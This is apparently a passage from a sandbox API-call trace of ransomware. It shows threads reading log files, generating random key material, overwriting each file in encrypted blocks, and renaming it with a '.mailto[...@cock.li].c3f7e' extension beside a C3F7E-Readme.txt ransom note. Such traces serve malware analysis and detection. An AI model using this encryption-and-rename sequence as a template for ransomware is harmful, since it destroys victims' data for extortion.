	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xbe1b1e2d
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x5b31902a
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x2c4dd33d
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x8c4bc591
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xcd4dec9d
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x81f72f4f
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x84d064f5
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xbf5dbbc3
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xa31c7e
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x19cfddc7
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x9c4cf11e
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x388fd0aa
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x5d964ee5
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x2a5c47a3
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x1eafc44b
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xe5f2af24
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x9b9d7a44
	[0083.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0083.054] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0083.054] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.054] ReadFile (in: hFile=0x16a0, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17dbfde4, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x17dbfde4*=0xc800, lpOverlapped=0x0) returned 1
	[0083.060] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.060] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0083.060] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0083.060] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0083.060] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0083.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0083.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0083.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.062] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.062] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0083.062] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0083.062] WriteFile (in: hFile=0x16a0, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17dbfde4, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x17dbfde4*=0xc800, lpOverlapped=0x0) returned 1
	[0084.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0084.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0084.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d778a0
	[0084.833] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d77540
	[0084.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.833] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.833] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.840] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.840] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x2d5c040
	[0084.840] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.841] WriteFile (in: hFile=0x16a0, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17dbfe64, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x17dbfe64*=0x13b, lpOverlapped=0x0) returned 1
	[0084.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0084.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0084.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0084.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0084.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0084.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0084.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea6e0
	[0084.845] wcscpy (in: _Dest=0x47ea6e0, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl"
	[0084.845] wcscat (in: _Dest=0x47ea6e0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.845] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17dbfe1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768d68
	[0084.845] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x17dbfe14, FileInformation=0x4768d68, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0084.846] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768d68) returned 1
	[0084.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0084.847] NtQueryInformationFile (in: FileHandle=0x16a0, IoStatusBlock=0x17dbfe28, FileInformation=0x17dbfe00, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17dbfe28, FileInformation=0x17dbfe00) returned 0x0
	[0084.847] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x17dbfe28, FileInformation=0x17dbfe00, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea6e0) returned 1
	[0084.847] FlushFileBuffers (hFile=0x16a0) returned 1
	[0084.849] CloseHandle (hObject=0x16a0) returned 1
	[0084.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77a20
	[0084.858] wcscpy (in: _Dest=0x2d77a20, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0084.858] wcscat (in: _Dest=0x2d77a20, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0084.858] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0084.858] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77a20) returned 1
	[0084.858] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35610) returned 1

Thread:
	id = 631
	os_tid = 0x1908

	[0077.521] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.021.etl")) returned 0x2020
	[0082.652] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl", dwFileAttributes=0x20) returned 1
	[0083.064] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.021.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16d4
	[0083.064] GetFileSizeEx (in: hFile=0x16d4, lpFileSize=0x17e3f954 | out: lpFileSize=0x17e3f954*=131072) returned 1
	[0083.064] SetFilePointerEx (in: hFile=0x16d4, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.064] ReadFile (in: hFile=0x16d4, lpBuffer=0x17e3f8d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17e3f8d4, lpOverlapped=0x0 | out: lpBuffer=0x17e3f8d8*, lpNumberOfBytesRead=0x17e3f8d4*=0x4, lpOverlapped=0x0) returned 1
	[0083.066] SetFilePointerEx (in: hFile=0x16d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33dc0
	[0083.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0083.066] NtQuerySystemTime (in: CurrentTime=0x17e3f8b4 | out: CurrentTime=0x17e3f8b4*=132251868097963787) returned 0x0
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xe18d0e79
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x4b70a3ae
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x5bf38890
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x9bd57f5e
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xf6095810
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x8e45749c
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x94c7de8f
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x99cf396e
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x200a1ed7
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x4cf9deac
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x96afb037
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x13536f51
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xa5c5e257
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x98a4c998
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xe04fd3d4
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x15ffdb49
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xcc4a48bb
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xe80e1023
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x57c2dbef
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x147a8f79
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xd4829404
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xb8eda763
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xe0a25767
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x5aab418a
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xd555d03a
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x918e424e
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xb00e8406
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x6cee84b8
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xac656810
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0x2dfbf7bd
	[0083.066] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xc9c9e527
	[0083.067] RtlRandom (in: Seed=0x17e3f8c0 | out: Seed=0x17e3f8c0) returned 0xc1aab4a3
	[0083.141] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.141] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0083.141] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x496b830
	[0083.141] SetFilePointerEx (in: hFile=0x16d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.141] ReadFile (in: hFile=0x16d4, lpBuffer=0x496b830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17e3f894, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x17e3f894*=0xc800, lpOverlapped=0x0) returned 1
	[0083.143] SetFilePointerEx (in: hFile=0x16d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa850
	[0083.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0083.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0083.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.144] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.144] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0083.144] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0083.144] WriteFile (in: hFile=0x16d4, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17e3f894, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x17e3f894*=0xc800, lpOverlapped=0x0) returned 1
	[0084.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0084.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x496b830) returned 1
	[0084.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d77ae0
	[0084.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d77cc0
	[0084.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34000
	[0084.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0084.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x2d5c040
	[0084.853] SetFilePointerEx (in: hFile=0x16d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.853] WriteFile (in: hFile=0x16d4, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17e3f914, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x17e3f914*=0x13b, lpOverlapped=0x0) returned 1
	[0084.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77cc0) returned 1
	[0084.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ae0) returned 1
	[0084.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0084.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33dc0) returned 1
	[0084.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cf8) returned 1
	[0084.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e38) returned 1
	[0084.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea3a0
	[0084.860] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl"
	[0084.860] wcscat (in: _Dest=0x47ea3a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.860] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17e3f8cc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768628
	[0084.860] NtSetInformationFile (FileHandle=0x16d4, IoStatusBlock=0x17e3f8c4, FileInformation=0x4768628, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0084.861] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0084.861] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d028) returned 1
	[0084.861] NtQueryInformationFile (in: FileHandle=0x16d4, IoStatusBlock=0x17e3f8d8, FileInformation=0x17e3f8b0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17e3f8d8, FileInformation=0x17e3f8b0) returned 0x0
	[0084.861] NtSetInformationFile (FileHandle=0x16d4, IoStatusBlock=0x17e3f8d8, FileInformation=0x17e3f8b0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.862] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0084.862] FlushFileBuffers (hFile=0x16d4) returned 1
	[0084.863] CloseHandle (hObject=0x16d4) returned 1
	[0084.872] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77720
	[0084.872] wcscpy (in: _Dest=0x2d77720, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0084.872] wcscat (in: _Dest=0x2d77720, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0084.872] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0084.872] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77720) returned 1
	[0084.872] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35698) returned 1

Thread:
	id = 632
	os_tid = 0x190c

	[0077.521] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.022.etl")) returned 0x2020
	[0082.652] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl", dwFileAttributes=0x20) returned 1
	[0083.146] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.022.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16b4
	[0083.146] GetFileSizeEx (in: hFile=0x16b4, lpFileSize=0x17ebfcc4 | out: lpFileSize=0x17ebfcc4*=131072) returned 1
	[0083.146] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.146] ReadFile (in: hFile=0x16b4, lpBuffer=0x17ebfc48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17ebfc44, lpOverlapped=0x0 | out: lpBuffer=0x17ebfc48*, lpNumberOfBytesRead=0x17ebfc44*=0x4, lpOverlapped=0x0) returned 1
	[0083.148] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0083.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33de8
	[0083.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.148] NtQuerySystemTime (in: CurrentTime=0x17ebfc24 | out: CurrentTime=0x17ebfc24*=132251868098900466) returned 0x0
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xb8c383b9
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xfa44bba0
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xa903ab93
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x79c0f02e
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x5c7f4edb
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x6f22c715
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x86d3d2b9
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x2c9ba505
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x92f8769e
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x7124cf5e
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xcfde675
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x904dbdd1
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xeff63014
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x540d8f13
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x73661605
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xbaae39e0
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xdf165120
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0xc7cbfddd
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x57030265
	[0083.148] RtlRandom (in: Seed=0x17ebfc30 | out: Seed=0x17ebfc30) returned 0x914f3833
